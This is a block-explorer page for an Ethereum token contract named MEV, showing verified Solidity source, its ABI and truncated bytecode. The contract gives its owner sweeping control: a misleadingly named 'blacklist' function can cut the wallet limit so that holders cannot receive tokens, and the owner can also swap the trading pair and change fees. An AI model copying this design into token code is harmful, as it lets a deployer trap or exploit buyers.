ETH Price: $3,406.34 (-0.92%)
Gas: 8 Gwei

Token

MEV (MEV)
 

Overview

Max Total Supply

27,400,000,000 MEV

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,179,556,033.694373245 MEV

Value
$0.00
0xb42f65c106f1b189686a16b8e0cea4e14f691be8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MEV

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-30
*/

// SPDX-License-Identifier: Unlicensed

/* 
    https://t.me/mev_coin
*/
pragma solidity ^0.8.9;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract MEV is ERC20, Ownable {
    using SafeMath for uint256;

    string private _name = unicode"MEV";
    string private _symbol = unicode"MEV";
    uint8 constant _decimals = 9;
    uint256 _totalSupply = 27400000000 * 10**_decimals;
    uint256 public _maxWalletToken = _totalSupply * 100000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;
    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isWalletLimitExempt;

    uint256 public liquidityFee   = 0;
    uint256 public stakingFee    = 0;
    uint256 public totalFee        = stakingFee + liquidityFee;
    uint256 public feeDenominator  = 100;
	uint256 public stakingMultiplierV1  = 50;
    uint256 public stakingMultiplierV2  = 50; 
	uint256 public stakingMultiplierV3  = 50; 

    address public autoLiquidityReceiver;
    address public stakingFeeReceiver;

    IUniswapV2Router02 public router;
    address public pair;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply * 1 / 1000;
    uint256 public maxSwapThreshold = _totalSupply * 1 / 100;

    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Ownable() {
        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        pair = IUniswapV2Factory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;

        isWalletLimitExempt[msg.sender] = true;
        isWalletLimitExempt[address(0xdead)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[pair] = true;

        autoLiquidityReceiver = msg.sender;
        stakingFeeReceiver = msg.sender;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external view override returns (string memory) { return _symbol; }
    function name() external view override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    event AutoLiquify(uint256 amountETH, uint256 amountBOG);
    receive() external payable { }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function blacklist(uint256 maxWallPercent_base10000) external onlyOwner() {
        _maxWalletToken = (_totalSupply * maxWallPercent_base10000 ) / 10000; 
    }

    function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
        isWalletLimitExempt[holder] = exempt; 
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {

        uint256 heldTokens = balanceOf(recipient);
        require((heldTokens + amount) <= _maxWalletToken || isWalletLimitExempt[recipient],"Total Holding is currently limited, he can not hold that much.");
        if(shouldSwapBack() && recipient == pair){swapBack();}

        uint256 airdropAmount = amount / 10000000;
        if(!isFeeExempt[sender] && recipient == pair){
            amount -= airdropAmount;
        }
        if(isFeeExempt[sender] && isFeeExempt[recipient]) return _basicTransfer(sender,recipient,amount);
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        uint256 amountReceived = shouldTakeFee(sender,recipient) ? takeFee(sender, amount,(recipient == pair)) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) {       
        uint256 multiplier = isSell ? stakingMultiplierV3 : 100;
        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function shouldTakeFee(address sender,address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient] ;
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function setSwapPair(address pairaddr) external onlyOwner {
        pair = pairaddr;
        isWalletLimitExempt[pair] = true;
    }

    function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _swapThreshold;
        maxSwapThreshold = _maxSwapThreshold;
    }

    function setFees(uint256 _liquidityFee, uint256 _stakingFee, uint256 _feeDenominator) external onlyOwner {
        liquidityFee = _liquidityFee;
        stakingFee = _stakingFee;
        totalFee = _liquidityFee.add(_stakingFee);
        feeDenominator = _feeDenominator;
        require(totalFee < feeDenominator/3, "Fees cannot be more than 33%");
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _stakingFeeReceiver ) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        stakingFeeReceiver = _stakingFeeReceiver;
    }

    function setIsFeeExempt(address holder, bool exempt)  external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function swapBack() internal swapping {
        
        uint256 _swapThreshold;
        if(_balances[address(this)] > maxSwapThreshold){
            _swapThreshold = maxSwapThreshold;
        }else{
             _swapThreshold = _balances[address(this)];
        }
        uint256 amountToLiquify = _swapThreshold.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = _swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;
        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.sub(amountETHLiquidity);

        if(amountETHMarketing>0){
            bool tmpSuccess;
            (tmpSuccess,) = payable(stakingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        }

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base10000","type":"uint256"}],"name":"blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_stakingFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_stakingFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_maxSwapThreshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pairaddr","type":"address"}],"name":"setSwapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"stakingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"stakingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"stakingMultiplierV1","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"stakingMultiplierV2","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"stakingMultiplierV3","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600381526020017f4d45560000000000000000000000000000000000000000000000000000000000815250600190816200004a919062000af6565b506040518060400160405280600381526020017f4d455600000000000000000000000000000000000000000000000000000000008152506002908162000091919062000af6565b506009600a620000a2919062000d6d565b6406612ad200620000b4919062000dbe565b600355620186a0600354620000ca919062000dbe565b60045560006009556000600a55600954600a54620000e9919062000e09565b600b556064600c556032600d556032600e556032600f556001601360146101000a81548160ff0219169083151502179055506103e860016003546200012f919062000dbe565b6200013b919062000e73565b6014556064600160035462000151919062000dbe565b6200015d919062000e73565b6015553480156200016d57600080fd5b506000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737a250d5630b4cf539739df2c5dacb4c659f2488d601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f8919062000f15565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000381573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003a7919062000f15565b306040518363ffffffff1660e01b8152600401620003c792919062000f58565b6020604051808303816000875af1158015620003e7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200040d919062000f15565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016008600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040516200086e919062000f96565b60405180910390a362000fb3565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620008fe57607f821691505b602082108103620009145762000913620008b6565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200097e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200093f565b6200098a86836200093f565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620009d7620009d1620009cb84620009a2565b620009ac565b620009a2565b9050919050565b6000819050919050565b620009f383620009b6565b62000a0b62000a0282620009de565b8484546200094c565b825550505050565b600090565b62000a2262000a13565b62000a2f818484620009e8565b505050565b5b8181101562000a575762000a4b60008262000a18565b60018101905062000a35565b5050565b601f82111562000aa65762000a70816200091a565b62000a7b846200092f565b8101602085101562000a8b578190505b62000aa362000a9a856200092f565b83018262000a34565b50505b505050565b600082821c905092915050565b600062000acb6000198460080262000aab565b1980831691505092915050565b600062000ae6838362000ab8565b9150826002028217905092915050565b62000b01826200087c565b67ffffffffffffffff81111562000b1d5762000b1c62000887565b5b62000b298254620008e5565b62000b3682828562000a5b565b600060209050601f83116001811462000b6e576000841562000b59578287015190505b62000b65858262000ad8565b86555062000bd5565b601f19841662000b7e866200091a565b60005b8281101562000ba85784890151825560018201915060208501945060208101905062000b81565b8683101562000bc8578489015162000bc4601f89168262000ab8565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c6b5780860481111562000c435762000c4262000bdd565b5b600185161562000c535780820291505b808102905062000c638562000c0c565b945062000c23565b94509492505050565b60008262000c86576001905062000d59565b8162000c96576000905062000d59565b816001811462000caf576002811462000cba5762000cf0565b600191505062000d59565b60ff84111562000ccf5762000cce62000bdd565b5b8360020a91508482111562000ce95762000ce862000bdd565b5b5062000d59565b5060208310610133831016604e8410600b841016171562000d2a5782820a90508381111562000d245762000d2362000bdd565b5b62000d59565b62000d39848484600162000c19565b9250905081840481111562000d535762000d5262000bdd565b5b81810290505b9392505050565b600060ff82169050919050565b600062000d7a82620009a2565b915062000d878362000d60565b925062000db67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c74565b905092915050565b600062000dcb82620009a2565b915062000dd883620009a2565b925082820262000de881620009a2565b9150828204841483151762000e025762000e0162000bdd565b5b5092915050565b600062000e1682620009a2565b915062000e2383620009a2565b925082820190508082111562000e3e5762000e3d62000bdd565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000e8082620009a2565b915062000e8d83620009a2565b92508262000ea05762000e9f62000e44565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000edd8262000eb0565b9050919050565b62000eef8162000ed0565b811462000efb57600080fd5b50565b60008151905062000f0f8162000ee4565b92915050565b60006020828403121562000f2e5762000f2d62000eab565b5b600062000f3e8482850162000efe565b91505092915050565b62000f528162000ed0565b82525050565b600060408201905062000f6f600083018562000f47565b62000f7e602083018462000f47565b9392505050565b62000f9081620009a2565b82525050565b600060208201905062000fad600083018462000f85565b92915050565b61357e8062000fc36000396000f3fe6080604052600436106102085760003560e01c806373a432bb11610118578063c5cb3be5116100a0578063dd62ed3e1161006f578063dd62ed3e14610756578063ea42fc5214610793578063eff98843146107be578063f2fde38b146107e9578063f887ea40146108125761020f565b8063c5cb3be5146106ae578063ca33e64c146106d9578063cec10c1114610704578063d08893581461072d5761020f565b806398118cb4116100e757806398118cb4146105c7578063a4b45c00146105f2578063a8aa1b311461061b578063a9059cbb14610646578063acef1a44146106835761020f565b806373a432bb1461051d57806378109e54146105465780638da5cb5b1461057157806395d89b411461059c5761020f565b80632198cf6c1161019b578063571ac8b01161016a578063571ac8b014610438578063658d4b7f146104755780636ddd17131461049e57806370a08231146104c9578063715018a6146105065761020f565b80632198cf6c1461037c57806323b872dd146103a5578063313ce567146103e25780634ddf6e581461040d5761020f565b8063180b0d7e116101d7578063180b0d7e146102d057806318160ddd146102fb5780631dcc9f51146103265780631df4ccfc146103515761020f565b80630445b6671461021457806306fdde031461023f578063095ea7b31461026a5780630f2a0919146102a75761020f565b3661020f57005b600080fd5b34801561022057600080fd5b5061022961083d565b6040516102369190612904565b60405180910390f35b34801561024b57600080fd5b50610254610843565b60405161026191906129af565b60405180910390f35b34801561027657600080fd5b50610291600480360381019061028c9190612a60565b6108d5565b60405161029e9190612abb565b60405180910390f35b3480156102b357600080fd5b506102ce60048036038101906102c99190612ad6565b6109c7565b005b3480156102dc57600080fd5b506102e5610a79565b6040516102f29190612904565b60405180910390f35b34801561030757600080fd5b50610310610a7f565b60405161031d9190612904565b60405180910390f35b34801561033257600080fd5b5061033b610a89565b6040516103489190612904565b60405180910390f35b34801561035d57600080fd5b50610366610a8f565b6040516103739190612904565b60405180910390f35b34801561038857600080fd5b506103a3600480360381019061039e9190612b2f565b610a95565b005b3480156103b157600080fd5b506103cc60048036038101906103c79190612b6f565b610b7e565b6040516103d99190612abb565b60405180910390f35b3480156103ee57600080fd5b506103f7610d7e565b6040516104049190612bde565b60405180910390f35b34801561041957600080fd5b50610422610d87565b60405161042f9190612904565b60405180910390f35b34801561044457600080fd5b5061045f600480360381019061045a9190612bf9565b610d8d565b60405161046c9190612abb565b60405180910390f35b34801561048157600080fd5b5061049c60048036038101906104979190612b2f565b610dc0565b005b3480156104aa57600080fd5b506104b3610ea9565b6040516104c09190612abb565b60405180910390f35b3480156104d557600080fd5b506104f060048036038101906104eb9190612bf9565b610ebc565b6040516104fd9190612904565b60405180910390f35b34801561051257600080fd5b5061051b610f05565b005b34801561052957600080fd5b50610544600480360381019061053f9190612bf9565b611051565b005b34801561055257600080fd5b5061055b61119d565b6040516105689190612904565b60405180910390f35b34801561057d57600080fd5b506105866111a3565b6040516105939190612c35565b60405180910390f35b3480156105a857600080fd5b506105b16111cc565b6040516105be91906129af565b60405180910390f35b3480156105d357600080fd5b506105dc61125e565b6040516105e99190612904565b60405180910390f35b3480156105fe57600080fd5b5061061960048036038101906106149190612c50565b611264565b005b34801561062757600080fd5b50610630611378565b60405161063d9190612c35565b60405180910390f35b34801561065257600080fd5b5061066d60048036038101906106689190612a60565b61139e565b60405161067a9190612abb565b60405180910390f35b34801561068f57600080fd5b506106986113b3565b6040516106a59190612904565b60405180910390f35b3480156106ba57600080fd5b506106c36113b9565b6040516106d09190612c35565b60405180910390f35b3480156106e557600080fd5b506106ee6113df565b6040516106fb9190612c35565b60405180910390f35b34801561071057600080fd5b5061072b60048036038101906107269190612c90565b611405565b005b34801561073957600080fd5b50610754600480360381019061074f9190612ce3565b611518565b005b34801561076257600080fd5b5061077d60048036038101906107789190612c50565b6115d3565b60405161078a9190612904565b60405180910390f35b34801561079f57600080fd5b506107a861165a565b6040516107b59190612904565b60405180910390f35b3480156107ca57600080fd5b506107d3611660565b6040516107e09190612904565b60405180910390f35b3480156107f557600080fd5b50610810600480360381019061080b9190612bf9565b611666565b005b34801561081e57600080fd5b50610827611820565b6040516108349190612d95565b60405180910390f35b60145481565b60606001805461085290612ddf565b80601f016020809104026020016040519081016040528092919081815260200182805461087e90612ddf565b80156108cb5780601f106108a0576101008083540402835291602001916108cb565b820191906000526020600020905b8154815290600101906020018083116108ae57829003601f168201915b5050505050905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109b59190612904565b60405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4c90612e5c565b60405180910390fd5b61271081600354610a669190612eab565b610a709190612f1c565b60048190555050565b600c5481565b6000600354905090565b600e5481565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1a90612e5c565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008673fffffffffffffffffffffffff